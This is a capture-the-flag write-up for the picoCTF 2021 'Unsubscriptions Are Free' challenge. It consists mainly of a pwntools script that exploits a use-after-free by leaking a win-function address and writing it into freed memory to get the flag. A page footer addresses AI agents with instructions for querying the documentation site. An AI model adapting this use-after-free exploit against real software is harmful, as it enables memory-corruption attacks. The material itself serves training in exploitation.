# Unsubscriptions Are Free

```python
#!/usr/bin/env python3

from pwn import *
import time

exe = ELF("./vuln")

context.binary = exe

def conn():
    if args.REMOTE:
        r = remote("mercury.picoctf.net", 61817) 
    else:
        r = process("./vuln")
    return r

def main():
    r = conn()

    # leak the address of win function
    r.sendline(b's')
    time.sleep(0.1)
    r.recvuntil(b'...')
    leak = int(r.recv(9),16)

    # free the allocated memory "user"
    r.sendline(b'i')
    time.sleep(0.1)

    # confirm
    r.sendline(b'y')
    time.sleep(0.1)

    # leave a message (write on the memory just been freed)
    r.sendline(b'l')
    time.sleep(0.1)

    # write the win function
    r.sendline(p32(leak))

    # when program calls doProcess(user)
    # it will execute leak() --> hahaexploitgobrrr()

    # exit
    r.sendline(b'e')
    r.recvuntil(b'try anyways:')
    flag = r.recvuntil(b'}').strip(b'\n')
    print()
    log.success(flag.decode("ascii"))
    print()

if __name__ == "__main__":
    main()
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://trees-daily-journal.gitbook.io/trees-daily-journal/ctf-writeups/picoctf/binary-exploitation/picoctf-2021/unsubscriptions-are-free.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
